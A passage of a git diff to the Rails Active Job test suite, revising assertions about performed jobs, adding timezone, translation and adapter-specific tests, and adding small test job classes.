+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: HelloJob, args: [wilma]) do
+          HelloJob.perform_later(ricardo)
+        end
       end
+      assert_match("No performed job found with #{{ job: HelloJob, args: [wilma] }}", error.message)
+      assert_match(/Potential matches:.*Person.* @id="9"/, error.message)
     end
 
-    assert_match(/5 .* but 1/, error.message)
-  end
-
-  def test_assert_performed_jobs_with_only_option_and_too_many_sent
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_performed_jobs 1, only: HelloJob do
-        2.times { HelloJob.perform_later("jeremy") }
+    def test_assert_performed_with_without_block_failure_with_global_id_args
+      ricardo = Person.new(9)
+      wilma = Person.new(11)
+      HelloJob.perform_later(ricardo)
+      perform_enqueued_jobs
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: HelloJob, args: [wilma])
       end
+
+      assert_match("No performed job found with #{{ job: HelloJob, args: [wilma] }}", error.message)
+      assert_match(/Potential matches:.*Person.* @id="9"/, error.message)
     end
 
-    assert_match(/1 .* but 2/, error.message)
-  end
+    def test_assert_performed_says_no_jobs_performed
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: HelloJob, args: [])
+      end
 
-  def test_assert_no_performed_jobs_with_only_option
-    assert_nothing_raised do
-      assert_no_performed_jobs only: HelloJob do
-        LoggingJob.perform_later
+      assert_match("No performed job found with #{{ job: HelloJob, args: [] }}", error.message)
+      assert_match(/No jobs were performed/, error.message)
+    end
+
+    def test_assert_performed_when_not_matching_the_class_shows_alternatives
+      ricardo = Person.new(9)
+      wilma = Person.new(11)
+      HelloJob.perform_later(ricardo)
+      perform_enqueued_jobs
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_with(job: MultipleKwargsJob, args: [wilma])
       end
+
+      assert_match(/No performed job found with .*MultipleKwargsJob.*\[#<Person.* @id=11>\]}/, error.message)
+      assert_match(/No jobs of class MultipleKwargsJob were performed, job classes performed: HelloJob/, error.message)
     end
-  end
 
-  def test_assert_no_performed_jobs_with_only_option_as_array
-    assert_nothing_raised do
-      assert_no_performed_jobs only: [HelloJob, RescueJob] do
-        LoggingJob.perform_later
+    def test_assert_performed_with_does_not_change_jobs_count
+      assert_performed_with(job: HelloJob) do
+        HelloJob.perform_later
+      end
+
+      assert_performed_with(job: HelloJob) do
+        HelloJob.perform_later
       end
+
+      assert_equal 0, queue_adapter.enqueued_jobs.count
+      assert_equal 2, queue_adapter.performed_jobs.count
     end
-  end
 
-  def test_assert_no_performed_jobs_with_only_option_failure
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_no_performed_jobs only: HelloJob do
-        HelloJob.perform_later("jeremy")
-        LoggingJob.perform_later
+    def test_assert_performed_with_without_block_does_not_change_jobs_count
+      HelloJob.perform_later
+      perform_enqueued_jobs
+      assert_performed_with(job: HelloJob)
+
+      HelloJob.perform_later
+      perform_enqueued_jobs
+      assert_performed_with(job: HelloJob)
+
+      assert_equal 0, queue_adapter.enqueued_jobs.count
+      assert_equal 2, queue_adapter.performed_jobs.count
+    end
+
+    test "perform_enqueued_jobs doesn't raise if discard_on ActiveJob::DeserializationError" do
+      RetryJob.perform_later Person.new(404), 1
+
+      assert_nothing_raised do
+        perform_enqueued_jobs(only: RetryJob)
       end
     end
 
-    assert_match(/0 .* but 1/, error.message)
-  end
+    test "TestAdapter respect max attempts" do
+      perform_enqueued_jobs(only: RaisingJob) do
+        assert_raises(RaisingJob::MyError) do
+          RaisingJob.perform_later
+        end
+      end
 
-  def test_assert_performed_job
-    assert_performed_with(job: NestedJob, queue: "default") do
-      NestedJob.perform_later
+      assert_equal 2, queue_adapter.performed_jobs.count
     end
   end
+end
 
-  def test_assert_performed_job_returns
-    job = assert_performed_with(job: NestedJob, queue: "default") do
-      NestedJob.perform_later
+class NotTestAdapterTest < ActiveJob::TestCase
+  unless adapter_is?(:test)
+    setup do
+      @adapter = queue_adapter.class.name
     end
 
-    assert_instance_of NestedJob, job
-    assert_nil job.scheduled_at
-    assert_equal [], job.arguments
-    assert_equal "default", job.queue_name
-  end
+    test "assert_enqueued_jobs raises" do
+      assert_raises ArgumentError, match: "assert_enqueued_jobs requires the Active Job test adapter, you're using #{@adapter}" do
+        assert_enqueued_jobs(0) { }
+      end
+    end
 
-  def test_assert_performed_job_failure
-    assert_raise ActiveSupport::TestCase::Assertion do
-      assert_performed_with(job: LoggingJob) do
-        HelloJob.perform_later
+    test "assert_no_enqueued_jobs raises" do
+      assert_raises ArgumentError, match: "assert_no_enqueued_jobs requires the Active Job test adapter, you're using #{@adapter}" do
+        assert_no_enqueued_jobs { }
       end
     end
 
-    assert_raise ActiveSupport::TestCase::Assertion do
-      assert_performed_with(job: HelloJob, queue: "low") do
-        HelloJob.set(queue: "important").perform_later
+    test "assert_performed_jobs raises" do
+      assert_raises ArgumentError, match: "assert_performed_jobs requires the Active Job test adapter, you're using #{@adapter}" do
+        assert_performed_jobs(0) { }
       end
     end
-  end
 
-  def test_assert_performed_job_with_at_option
-    assert_performed_with(job: HelloJob, at: Date.tomorrow.noon) do
-      HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+    test "assert_no_performed_jobs raises" do
+      assert_raises ArgumentError, match: "assert_no_performed_jobs requires the Active Job test adapter, you're using #{@adapter}" do
+        assert_no_performed_jobs { }
+      end
     end
 
-    assert_raise ActiveSupport::TestCase::Assertion do
-      assert_performed_with(job: HelloJob, at: Date.today.noon) do
-        HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+    test "assert_enqueued_with raises" do
+      assert_raises ArgumentError, match: "assert_enqueued_with requires the Active Job test adapter, you're using #{@adapter}" do
+        assert_enqueued_with { }
       end
     end
-  end
 
-  def test_assert_performed_job_with_global_id_args
-    ricardo = Person.new(9)
-    assert_performed_with(job: HelloJob, args: [ricardo]) do
-      HelloJob.perform_later(ricardo)
+    test "assert_performed_with raises" do
+      assert_raises ArgumentError, match: "assert_performed_with requires the Active Job test adapter, you're using #{@adapter}" do
+        assert_performed_with { }
+      end
     end
-  end
 
-  def test_assert_performed_job_failure_with_global_id_args
-    ricardo = Person.new(9)
-    wilma = Person.new(11)
-    error = assert_raise ActiveSupport::TestCase::Assertion do
-      assert_performed_with(job: HelloJob, args: [wilma]) do
-        HelloJob.perform_later(ricardo)
+    test "perform_enqueued_jobs without a block" do
+      assert_raises ArgumentError, match: "perform_enqueued_jobs (without a block) requires the Active Job test adapter, you're using #{@adapter}" do
+        perform_enqueued_jobs
       end
     end
 
-    assert_equal "No performed job found with {:job=>HelloJob, :args=>[#{wilma.inspect}]}", error.message
+    test "perform_enqueued_jobs with a block does not raise" do
+      assert_nothing_raised do
+        perform_enqueued_jobs { }
+      end
+    end
   end
+end
 
-  def test_assert_performed_job_does_not_change_jobs_count
-    assert_performed_with(job: HelloJob) do
-      HelloJob.perform_later
-    end
+class AdapterIsNotTestAdapterTest < ActiveJob::TestCase
+  def queue_adapter_for_test
+    ActiveJob::QueueAdapters::InlineAdapter.new
+  end
 
-    assert_performed_with(job: HelloJob) do
-      HelloJob.perform_later
+  def test_perform_enqueued_jobs_just_yields
+    JobBuffer.clear
+    perform_enqueued_jobs do
+      HelloJob.perform_later("kevin")
     end
-
-    assert_equal 2, queue_adapter.performed_jobs.count
+    assert_equal(1, JobBuffer.values.size)
   end
 end
 
@@ -556,24 +2176,19 @@ def test_assert_job_has_custom_queue_adapter_set
 end
 
 class InheritedJobTest < ActiveJob::TestCase
-  def test_queue_adapter_is_test_adapter
-    assert_instance_of ActiveJob::QueueAdapters::TestAdapter, InheritedJob.queue_adapter
+  def test_queue_adapter_is_inline_adapter_because_it_is_set_on_the_job_class
+    assert_instance_of ActiveJob::QueueAdapters::InlineAdapter, InheritedJob.queue_adapter
   end
 end
 
 class QueueAdapterJobTest < ActiveJob::TestCase
-  def before_setup
-    @original_autoload_paths = ActiveSupport::Dependencies.autoload_paths
-    ActiveSupport::Dependencies.autoload_paths = %w(test/jobs)
-    super
-  end
-
-  def after_teardown
-    ActiveSupport::Dependencies.autoload_paths = @original_autoload_paths
-    super
-  end
-
-  def test_queue_adapter_is_test_adapter
-    assert_instance_of ActiveJob::QueueAdapters::TestAdapter, QueueAdapterJob.queue_adapter
+  def test_queue_adapter_is_is_inline_adapter_because_it_is_set_on_the_job_class
+    Zeitwerk.with_loader do |loader|
+      loader.push_dir("test/jobs")
+      loader.setup
+      assert_instance_of ActiveJob::QueueAdapters::InlineAdapter, QueueAdapterJob.queue_adapter
+    ensure
+      loader.unload
+    end
   end
 end
diff --git a/activejob/test/cases/timezones_test.rb b/activejob/test/cases/timezones_test.rb
new file mode 100644
index 0000000000000..af38969b71368
--- /dev/null
+++ b/activejob/test/cases/timezones_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/timezone_dependent_job"
+require "jobs/timezone_raising_job"
+
+class TimezonesTest < ActiveSupport::TestCase
+  setup do
+    JobBuffer.clear
+  end
+
+  test "it performs the job in the given timezone" do
+    job = TimezoneDependentJob.new("2018-01-01T00:00:00Z")
+    job.timezone = "London"
+    job.perform_now
+
+    assert_equal "Happy New Year!", JobBuffer.last_value
+
+    job = TimezoneDependentJob.new("2018-01-01T00:00:00Z")
+    job.timezone = "Eastern Time (US & Canada)"
+    job.perform_now
+
+    assert_equal "Just 5 hours to go", JobBuffer.last_value
+  end
+
+  test "perform_now passes down current timezone to the job" do
+    Time.zone = "America/New_York"
+
+    Time.use_zone("London") do
+      job = TimezoneDependentJob.new("2018-01-01T00:00:00Z")
+      assert_equal "London", job.timezone
+      job.perform_now
+    end
+
+    assert_equal "Happy New Year!", JobBuffer.last_value
+  ensure
+    Time.zone = nil
+  end
+
+  test "it runs the exception handler in the given locale" do
+    Time.zone = "America/New_York"
+
+    Time.use_zone("London") do
+      job = TimezoneRaisingJob.new
+      job.perform_now
+    end
+
+    assert_equal "London", JobBuffer.last_value
+  ensure
+    Time.zone = nil
+  end
+end
diff --git a/activejob/test/cases/translation_test.rb b/activejob/test/cases/translation_test.rb
index 27bfd50985b9c..7339856d0f8bb 100644
--- a/activejob/test/cases/translation_test.rb
+++ b/activejob/test/cases/translation_test.rb
@@ -1,11 +1,13 @@
+# frozen_string_literal: true
+
 require "helper"
 require "jobs/translated_hello_job"
+require "jobs/translated_raising_job"
 
 class TranslationTest < ActiveSupport::TestCase
   setup do
     JobBuffer.clear
     I18n.available_locales = [:en, :de]
-    @job = TranslatedHelloJob.new("Johannes")
   end
 
   teardown do
@@ -13,8 +15,16 @@ class TranslationTest < ActiveSupport::TestCase
   end
 
   test "it performs the job in the given locale" do
-    @job.locale = :de
-    @job.perform_now
+    job = TranslatedHelloJob.new("Johannes")
+    job.locale = :de
+    job.perform_now
     assert_equal "Johannes says Guten Tag", JobBuffer.last_value
   end
+
+  test "it runs the exception handler in the given locale" do
+    job = TranslatedRaisingJob.new
+    job.locale = :de
+    job.perform_now
+    assert_equal :de, JobBuffer.last_value
+  end
 end
diff --git a/activejob/test/helper.rb b/activejob/test/helper.rb
index db07ecab7a0a4..35df3068a0059 100644
--- a/activejob/test/helper.rb
+++ b/activejob/test/helper.rb
@@ -1,9 +1,12 @@
+# frozen_string_literal: true
+
+require_relative "../../tools/strict_warnings"
 require "active_job"
 require "support/job_buffer"
 
 GlobalID.app = "aj"
 
-@adapter = ENV["AJ_ADAPTER"] || "inline"
+@adapter = ENV["AJ_ADAPTER"] ||= "inline"
 puts "Using #{@adapter}"
 
 if ENV["AJ_INTEGRATION_TESTS"]
@@ -14,3 +17,11 @@
 end
 
 require "active_support/testing/autorun"
+
+def adapter_is?(*adapter_class_symbols)
+  adapter_class_symbols.map(&:to_s).include? ActiveJob::Base.queue_adapter_name
+end
+
+require_relative "../../tools/test_common"
+
+ActiveJob::Base.include(ActiveJob::EnqueueAfterTransactionCommit)
diff --git a/activejob/test/integration/queuing_test.rb b/activejob/test/integration/queuing_test.rb
index 2669c52a1cb2c..28839ebaa3085 100644
--- a/activejob/test/integration/queuing_test.rb
+++ b/activejob/test/integration/queuing_test.rb
@@ -1,115 +1,184 @@
+# frozen_string_literal: true
+
 require "helper"
 require "jobs/logging_job"
 require "jobs/hello_job"
 require "jobs/provider_jid_job"
 require "active_support/core_ext/numeric/time"
 
+return unless ENV["AJ_INTEGRATION_TESTS"] == "1"
+
 class QueuingTest < ActiveSupport::TestCase
   test "should run jobs enqueued on a listening queue" do
     TestJob.perform_later @id
     wait_for_jobs_to_finish_for(5.seconds)
-    assert job_executed
+    assert_job_executed
   end
 
-  test "should not run jobs queued on a non-listening queue" do
-    skip if adapter_is?(:inline, :async, :sucker_punch, :que)
-    old_queue = TestJob.queue_name
+  unless adapter_is?(:inline, :async)
+    test "should not run jobs queued on a non-listening queue" do
+      old_queue = TestJob.queue_name
 
-    begin
-      TestJob.queue_as :some_other_queue
-      TestJob.perform_later @id
-      wait_for_jobs_to_finish_for(2.seconds)
-      assert_not job_executed
-    ensure
-      TestJob.queue_name = old_queue
+      begin
+        TestJob.queue_as :some_other_queue
+        TestJob.perform_later @id
+        wait_for_jobs_to_finish_for(2.seconds)
+        assert_job_not_executed
+      ensure
+        TestJob.queue_name = old_queue
+      end
     end
   end
 
-  test "should supply a wrapped class name to Sidekiq" do
-    skip unless adapter_is?(:sidekiq)
-    Sidekiq::Testing.fake! do
-      ::HelloJob.perform_later
-      hash = ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper.jobs.first
-      assert_equal "ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper", hash["class"]
-      assert_equal "HelloJob", hash["wrapped"]
+  if adapter_is?(:sidekiq)
+    test "should supply a wrapped class name to Sidekiq" do
+      Sidekiq::Testing.fake! do
+        ::HelloJob.perform_later
+        hash = ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper.jobs.first
+        assert_equal "Sidekiq::ActiveJob::Wrapper", hash["class"]
+        assert_equal "HelloJob", hash["wrapped"]
+      end
+    end
+
+    test "should access provider_job_id inside Sidekiq job" do
+      Sidekiq::Testing.inline! do
+        job = ::ProviderJidJob.perform_later
+        assert_equal "Provider Job ID: #{job.provider_job_id}", JobBuffer.last_value
+      end
+    end
+
+    test "should interrupt jobs" do
+      ContinuableTestJob.perform_later @id
+      wait_for_jobs_to_finish_for(1.seconds)
+
+      jobs_manager.stop_workers
+      wait_for_jobs_to_finish_for(1.seconds)
+      assert_not job_executed
+      assert continuable_job_started
+
+      jobs_manager.start_workers
+      wait_for_jobs_to_finish_for(10.seconds)
+      assert job_executed
     end
   end
 
-  test "should access provider_job_id inside Sidekiq job" do
-    skip unless adapter_is?(:sidekiq)
-    Sidekiq::Testing.inline! do
-      job = ::ProviderJidJob.perform_later
-      assert_equal "Provider Job ID: #{job.provider_job_id}", JobBuffer.last_value
+  if adapter_is?(:delayed_job)
+    test "should supply a wrapped class name to DelayedJob" do
+      ::HelloJob.perform_later
+      job = Delayed::Job.first
+      assert_match(/HelloJob \[[0-9a-f-]+\] from DelayedJob\(default\) with arguments: \[\]/, job.name)
     end
   end
 
-  test "resque JobWrapper should have instance variable queue" do
-    skip unless adapter_is?(:resque)
-    job = ::HelloJob.set(wait: 5.seconds).perform_later
-    hash = Resque.decode(Resque.find_delayed_selection { true }[0])
-    assert_equal hash["queue"], job.queue_name
+  if adapter_is?(:resque)
+    test "resque JobWrapper should have instance variable queue" do
+      job = ::HelloJob.set(wait: 5.seconds).perform_later
+      hash = Resque.decode(Resque.find_delayed_selection { true }[0])
+      assert_equal hash["queue"], job.queue_name
+    end
   end
 
   test "should not run job enqueued in the future" do
-    begin
-      TestJob.set(wait: 10.minutes).perform_later @id
-      wait_for_jobs_to_finish_for(5.seconds)
-      assert_not job_executed
-    rescue NotImplementedError
-      skip
-    end
+    TestJob.set(wait: 10.minutes).perform_later @id
+    wait_for_jobs_to_finish_for(5.seconds)
+    assert_job_not_executed
+  rescue NotImplementedError
+    pass
   end
 
   test "should run job enqueued in the future at the specified time" do
-    begin
-      TestJob.set(wait: 5.seconds).perform_later @id
-      wait_for_jobs_to_finish_for(2.seconds)
-      assert_not job_executed
-      wait_for_jobs_to_finish_for(10.seconds)
-      assert job_executed
-    rescue NotImplementedError
-      skip
-    end
+    TestJob.set(wait: 5.seconds).perform_later @id
+    wait_for_jobs_to_finish_for(2.seconds)
+    assert_job_not_executed
+    wait_for_jobs_to_finish_for(10.seconds)
+    assert_job_executed
+  rescue NotImplementedError
+    pass
   end
 
-  test "should supply a provider_job_id when available for immediate jobs" do
-    skip unless adapter_is?(:async, :delayed_job, :sidekiq, :qu, :que, :queue_classic)
-    test_job = TestJob.perform_later @id
-    assert test_job.provider_job_id, "Provider job id should be set by provider"
+  test "should run job bulk enqueued in the future at the specified time" do
+    ActiveJob.perform_all_later([TestJob.new(@id).set(wait: 5.seconds)])
+    wait_for_jobs_to_finish_for(2.seconds)
+    assert_job_not_executed
+    wait_for_jobs_to_finish_for(10.seconds)
+    assert_job_executed
+  rescue NotImplementedError
+    pass
   end
 
-  test "should supply a provider_job_id when available for delayed jobs" do
-    skip unless adapter_is?(:async, :delayed_job, :sidekiq, :que, :queue_classic)
-    delayed_test_job = TestJob.set(wait: 1.minute).perform_later @id
-    assert delayed_test_job.provider_job_id, "Provider job id should by set for delayed jobs by provider"
-  end
+  if adapter_is?(:async, :delayed_job, :sidekiq, :queue_classic)
+    test "should supply a provider_job_id when available for immediate jobs" do
+      test_job = TestJob.perform_later @id
+      assert test_job.provider_job_id, "Provider job id should be set by provider"
+    end
 
-  test "current locale is kept while running perform_later" do
-    skip if adapter_is?(:inline)
+    test "should supply a provider_job_id when available for delayed jobs" do
+      delayed_test_job = TestJob.set(wait: 1.minute).perform_later @id
+      assert delayed_test_job.provider_job_id, "Provider job id should by set for delayed jobs by provider"
+    end
+  end
 
-    begin
+  unless adapter_is?(:inline)
+    test "current locale is kept while running perform_later" do
       I18n.available_locales = [:en, :de]
       I18n.locale = :de
 
       TestJob.perform_later @id
       wait_for_jobs_to_finish_for(5.seconds)
-      assert job_executed
+      assert_job_executed
       assert_equal "de", job_executed_in_locale
     ensure
       I18n.available_locales = [:en]
       I18n.locale = :en
     end
+
+    test "current timezone is kept while running perform_later" do
+      current_zone = Time.zone
+      Time.zone = "Hawaii"
+
+      TestJob.perform_later @id
+      wait_for_jobs_to_finish_for(5.seconds)
+      assert_job_executed
+      assert_equal "Hawaii", job_executed_in_timezone
+    ensure
+      Time.zone = current_zone
+    end
   end
 
-  test "should run job with higher priority first" do
-    skip unless adapter_is?(:delayed_job, :que)
+  if adapter_is?(:delayed_job)
+    test "should run job with higher priority first" do
+      wait_until = Time.now + 3.seconds
+      TestJob.set(wait_until: wait_until, priority: 20).perform_later "#{@id}.1"
+      TestJob.set(wait_until: wait_until, priority: 10).perform_later "#{@id}.2"
+      wait_for_jobs_to_finish_for(10.seconds)
+      assert_job_executed "#{@id}.1"
+      assert_job_executed "#{@id}.2"
+      assert_job_executed_before("#{@id}.2", "#{@id}.1")
+    end
+  end
 
-    wait_until = Time.now + 3.seconds
-    TestJob.set(wait_until: wait_until, priority: 20).perform_later "#{@id}.1"
-    TestJob.set(wait_until: wait_until, priority: 10).perform_later "#{@id}.2"
-    wait_for_jobs_to_finish_for(10.seconds)
-    assert job_executed "#{@id}.1"
-    assert job_executed "#{@id}.2"
-    assert job_executed_at("#{@id}.2") < job_executed_at("#{@id}.1")
+  if adapter_is?(:backburner)
+    test "should run job with higher priority first in Backburner" do
+      jobs_manager.tube.pause(3)
+      TestJob.set(priority: 20).perform_later "#{@id}.1"
+      TestJob.set(priority: 10).perform_later "#{@id}.2"
+      wait_for_jobs_to_finish_for(10.seconds)
+      assert_job_executed "#{@id}.1"
+      assert_job_executed "#{@id}.2"
+      assert_job_executed_before("#{@id}.2", "#{@id}.1")
+    end
   end
+
+  private
+    def assert_job_executed(id = @id)
+      assert job_executed(id), "Job #{id} was not executed"
+    end
+
+    def assert_job_not_executed(id = @id)
+      assert_not job_executed(id), "Job #{id} was executed"
+    end
+
+    def assert_job_executed_before(first_id, second_id)
+      assert job_executed_at(first_id) < job_executed_at(second_id), "Job #{first_id} was not executed before Job #{second_id}"
+    end
 end
diff --git a/activejob/test/jobs/abort_before_enqueue_job.rb b/activejob/test/jobs/abort_before_enqueue_job.rb
new file mode 100644
index 0000000000000..24206abd2e991
--- /dev/null
+++ b/activejob/test/jobs/abort_before_enqueue_job.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class AbortBeforeEnqueueJob < ActiveJob::Base
+  MyError = Class.new(StandardError)
+
+  before_enqueue :throw_or_raise
+  after_enqueue { self.flag = "after_enqueue" }
+  before_perform { throw(:abort) }
+  after_perform { self.flag = "after_perform" }
+
+  attr_accessor :flag
+
+  def perform
+    raise "This should never be called"
+  end
+
+  def throw_or_raise
+    if (arguments.first || :abort) == :abort
+      throw(:abort)
+    else
+      raise(MyError)
+    end
+  end
+end
diff --git a/activejob/test/jobs/after_discard_retry_job.rb b/activejob/test/jobs/after_discard_retry_job.rb
new file mode 100644
index 0000000000000..1cf06be7caa42
--- /dev/null
+++ b/activejob/test/jobs/after_discard_retry_job.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+require "active_support/core_ext/integer/inflections"
+
+class AfterDiscardRetryJob < ActiveJob::Base
+  class UnhandledError < StandardError; end
+  class DefaultsError < StandardError; end
+  class CustomCatchError < StandardError; end
+  class DiscardableError < StandardError; end
+  class CustomDiscardableError < StandardError; end
+  class AfterDiscardError < StandardError; end
+  class ChildAfterDiscardError < AfterDiscardError; end
+  class ReportedError < StandardError; end
+
+  retry_on DefaultsError
+  retry_on(CustomCatchError) { |job, error| JobBuffer.add("Dealt with a job that failed to retry in a custom way after #{job.arguments.second} attempts. Message: #{error.message}") }
+  retry_on(AfterDiscardError)
+  retry_on(ChildAfterDiscardError)
+
+  discard_on DiscardableError
+  discard_on(CustomDiscardableError) { |_job, error| JobBuffer.add("Dealt with a job that was discarded in a custom way. Message: #{error.message}") }
+  discard_on(ReportedError, report: true)
+
+  after_discard { |_job, error| JobBuffer.add("Ran after_discard for job. Message: #{error.message}") }
+
+  def perform(raising, attempts)
+    if executions < attempts
+      JobBuffer.add("Raised #{raising} for the #{executions.ordinalize} time")
+      raise raising.constantize
+    else
+      JobBuffer.add("Successfully completed job")
+    end
+  end
+end
diff --git a/activejob/test/jobs/application_job.rb b/activejob/test/jobs/application_job.rb
index a009ace51ccf4..d92ffddcb5288 100644
--- a/activejob/test/jobs/application_job.rb
+++ b/activejob/test/jobs/application_job.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class ApplicationJob < ActiveJob::Base
 end
diff --git a/activejob/test/jobs/arguments_round_trip_job.rb b/activejob/test/jobs/arguments_round_trip_job.rb
new file mode 100644
index 0000000000000..19b241f08e6a9
--- /dev/null
+++ b/activejob/test/jobs/arguments_round_trip_job.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class ArgumentsRoundTripJob < ActiveJob::Base
+  def perform(*arguments)
+    JobBuffer.add(arguments)
+  end
+end
diff --git a/activejob/test/jobs/callback_job.rb b/activejob/test/jobs/callback_job.rb
index ca2a8e031a855..436cb554929a8 100644
--- a/activejob/test/jobs/callback_job.rb
+++ b/activejob/test/jobs/callback_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class CallbackJob < ActiveJob::Base
   before_perform ->(job) { job.history << "CallbackJob ran before_perform" }
   after_perform ->(job) { job.history << "CallbackJob ran after_perform" }
diff --git a/activejob/test/jobs/configuration_job.rb b/activejob/test/jobs/configuration_job.rb
new file mode 100644
index 0000000000000..40d007f024f78
--- /dev/null
+++ b/activejob/test/jobs/configuration_job.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+
+class ConfigurationJob < ActiveJob::Base
+  def perform
+    JobBuffer.add(self)
+  end
+end
diff --git a/activejob/test/jobs/disable_log_job.rb b/activejob/test/jobs/disable_log_job.rb
new file mode 100644
index 0000000000000..bdbef9b20fb16
--- /dev/null
+++ b/activejob/test/jobs/disable_log_job.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class DisableLogJob < ActiveJob::Base
+  self.log_arguments = false
+
+  def perform(dummy)
+    logger.info "Dummy, here is it: #{dummy}"
+  end
+
+  def job_id
+    "LOGGING-JOB-ID"
+  end
+end
diff --git a/activejob/test/jobs/enqueue_error_job.rb b/activejob/test/jobs/enqueue_error_job.rb
new file mode 100644
index 0000000000000..f6be4b01659e8
--- /dev/null
+++ b/activejob/test/jobs/enqueue_error_job.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class EnqueueErrorJob < ActiveJob::Base
+  class EnqueueErrorAdapter
+    class << self
+      attr_accessor :should_raise_sequence
+    end
+    self.should_raise_sequence = []
+
+    def enqueue(*)
+      raise ActiveJob::EnqueueError, "There was an error enqueuing the job" if should_raise?
+    end
+
+    def enqueue_at(*)
+      raise ActiveJob::EnqueueError, "There was an error enqueuing the job" if should_raise?
+    end
+
+    private
+      def should_raise?
+        self.class.should_raise_sequence.empty? || self.class.should_raise_sequence.shift
+      end
+  end
+
+  self.queue_adapter = EnqueueErrorAdapter.new
+
+  def perform
+    raise "This should never be called"
+  end
+end
diff --git a/activejob/test/jobs/gid_job.rb b/activejob/test/jobs/gid_job.rb
index c7cfa6e7a2a00..2136f57e050e6 100644
--- a/activejob/test/jobs/gid_job.rb
+++ b/activejob/test/jobs/gid_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require_relative "../support/job_buffer"
 
 class GidJob < ActiveJob::Base
diff --git a/activejob/test/jobs/hello_job.rb b/activejob/test/jobs/hello_job.rb
index 126fefae00020..404df6150a643 100644
--- a/activejob/test/jobs/hello_job.rb
+++ b/activejob/test/jobs/hello_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require_relative "../support/job_buffer"
 
 class HelloJob < ActiveJob::Base
diff --git a/activejob/test/jobs/inherited_job.rb b/activejob/test/jobs/inherited_job.rb
index 60fca66f88d44..14f852ed06543 100644
--- a/activejob/test/jobs/inherited_job.rb
+++ b/activejob/test/jobs/inherited_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require_relative "application_job"
 
 class InheritedJob < ApplicationJob
diff --git a/activejob/test/jobs/kwargs_job.rb b/activejob/test/jobs/kwargs_job.rb
index 9f9d809673a73..b86b06bada892 100644
--- a/activejob/test/jobs/kwargs_job.rb
+++ b/activejob/test/jobs/kwargs_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require_relative "../support/job_buffer"
 
 class KwargsJob < ActiveJob::Base
diff --git a/activejob/test/jobs/logging_job.rb b/activejob/test/jobs/logging_job.rb
index 119b32fa670b2..d4ec2142f5e33 100644
--- a/activejob/test/jobs/logging_job.rb
+++ b/activejob/test/jobs/logging_job.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 class LoggingJob < ActiveJob::Base
-  def perform(dummy)
-    logger.info "Dummy, here is it: #{dummy}"
+  def perform(*dummy)
+    logger.info "Dummy, here is it: #{dummy.join(" ")}"
   end
 
   def job_id
diff --git a/activejob/test/jobs/multiple_kwargs_job.rb b/activejob/test/jobs/multiple_kwargs_job.rb
new file mode 100644
index 0000000000000..b355c4ce1a865
--- /dev/null
+++ b/activejob/test/jobs/multiple_kwargs_job.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+
+class MultipleKwargsJob < ActiveJob::Base
+  def perform(argument1:, argument2:)
+    JobBuffer.add("Job with argument1: #{argument1}, argument2: #{argument2}")
+  end
+end
diff --git a/activejob/test/jobs/nested_job.rb b/activejob/test/jobs/nested_job.rb
index 21b7692cd1504..aafad0dba9b33 100644
--- a/activejob/test/jobs/nested_job.rb
+++ b/activejob/test/jobs/nested_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class NestedJob < ActiveJob::Base
   def perform
     LoggingJob.perform_later "NestedJob"
diff --git a/activejob/test/jobs/overridden_logging_job.rb b/activejob/test/jobs/overridden_logging_job.rb
index 2b17a65142102..2ee363637dfb7 100644
--- a/activejob/test/jobs/overridden_logging_job.rb
+++ b/activejob/test/jobs/overridden_logging_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class OverriddenLoggingJob < ActiveJob::Base
   def perform(dummy)
     logger.info "Dummy, here is it: #{dummy}"
diff --git a/activejob/test/jobs/prefixed_job.rb b/activejob/test/jobs/prefixed_job.rb
new file mode 100644
index 0000000000000..23d7e46ce9054
--- /dev/null
+++ b/activejob/test/jobs/prefixed_job.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class PrefixedJob < ActiveJob::Base
+  self.queue_name_prefix = "production"
+
+  def perform; end
+end
diff --git a/activejob/test/jobs/provider_jid_job.rb b/activejob/test/jobs/provider_jid_job.rb
index 0c8ba040f5521..dacd09afdc45e 100644
--- a/activejob/test/jobs/provider_jid_job.rb
+++ b/activejob/test/jobs/provider_jid_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require_relative "../support/job_buffer"
 
 class ProviderJidJob < ActiveJob::Base
diff --git a/activejob/test/jobs/queue_adapter_job.rb b/activejob/test/jobs/queue_adapter_job.rb
index 160dfd74ecd4b..1c31a60ba2440 100644
--- a/activejob/test/jobs/queue_adapter_job.rb
+++ b/activejob/test/jobs/queue_adapter_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class QueueAdapterJob < ActiveJob::Base
   self.queue_adapter = :inline
 end
